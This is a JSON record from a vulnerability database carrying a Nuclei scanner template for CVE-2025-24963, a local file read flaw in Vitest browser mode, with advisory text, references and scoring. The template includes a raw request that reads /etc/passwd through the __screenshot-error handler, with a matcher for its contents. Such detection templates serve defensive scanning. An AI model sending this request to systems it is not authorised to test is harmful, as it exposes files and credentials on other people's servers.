{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-24963/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-24963/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-24963/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-24963/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-24963/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-24963"},"sightings":{"href":"/api/v1/sightings/cve-2025-24963"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-24963.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-24963\n\ninfo:\n  name: Vitest Browser Mode - Local File Read\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: medium\n  description: |\n    Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n  impact: |\n    Attackers can read arbitrary files from the file system when the browser mode server is exposed to the network, potentially exposing source code, configuration files, and sensitive credentials.\n  remediation: |\n    Upgrade to Vitest version 2.1.9, 3.0.4 or later that addresses the __screenshot-error handler vulnerability.\n  reference:\n    - https://github.com/advisories/GHSA-8gvc-j273-4wm5\n    - https://github.com/vitest-dev/vitest/blob/f17918a79969d27a415f70431e08a9445b051e45/packages/browser/src/node/plugin.ts#L88-L130\n    - https://github.com/vitest-dev/vitest/commit/2d62051f13b4b0939b2f7e94e88006d830dc4d1f\n    - https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5\n    - https://vitest.dev/guide/browser/config.html#browser-api\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-24963\n  classification:\n    epss-score: 0.02403\n    epss-percentile: 0.8411\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 5.9\n    cve-id: CVE-2025-24963\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2025,vitest,browser,mode,lfi,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /__screenshot-error?file=/etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(content_type,'image/png')\"\n          - \"regex('root:.*:0:0:', body)\"\n        condition: and\n# digest: 490a0046304402205f6d9e386de3ece77fde0064c1331d78e8060a6be052dc1587774e2d178dd8e202204de29cba5056ba21c1d3597ff04d3bf74c06a4327ee83ea3ad3aca4cb80189a8:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-24963"}